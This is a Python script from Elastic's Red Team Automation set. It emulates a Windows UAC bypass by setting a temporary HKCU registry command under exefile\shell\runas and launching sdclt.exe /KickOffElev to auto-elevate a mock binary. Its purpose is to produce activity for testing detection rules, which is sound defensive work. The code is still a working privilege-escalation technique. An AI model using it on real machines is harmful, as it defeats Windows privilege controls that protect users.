Files
sigma-rules/rta/uac_sdclt.py
T
2021-03-03 22:12:11 -09:00

43 lines
1.3 KiB
Python

# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
# Name: Bypass UAC via Sdclt
# RTA: uac_sdclt.py
# ATT&CK: T1088
# Description: Modifies the Registry to auto-elevate and execute mock malware.
import os
import sys
import time
from . import common
# HKCU:\Software\Classes\exefile\shell\runas\command value: IsolatedCommand
# "sdclt.exe /KickOffElev" or children of sdclt.exe
# HKLM value: "%1" %*
@common.requires_os(common.WINDOWS)
def main(target_process=common.get_path("bin", "myapp.exe")):
target_process = os.path.abspath(target_process)
common.log("Bypass UAC via Sdclt to run %s" % target_process)
key = "Software\\Classes\\exefile\\shell\\runas\\command"
value = "IsolatedCommand"
with common.temporary_reg(common.HKCU, key, value, target_process):
common.log("Running Sdclt to bypass UAC")
common.execute([r"c:\windows\system32\sdclt.exe", "/KickOffElev"])
time.sleep(2)
common.log("Killing the Windows Backup program sdclt", log_type="!")
common.execute(['taskkill', '/f', '/im', 'sdclt.exe'])
if __name__ == "__main__":
exit(main(*sys.argv[1:]))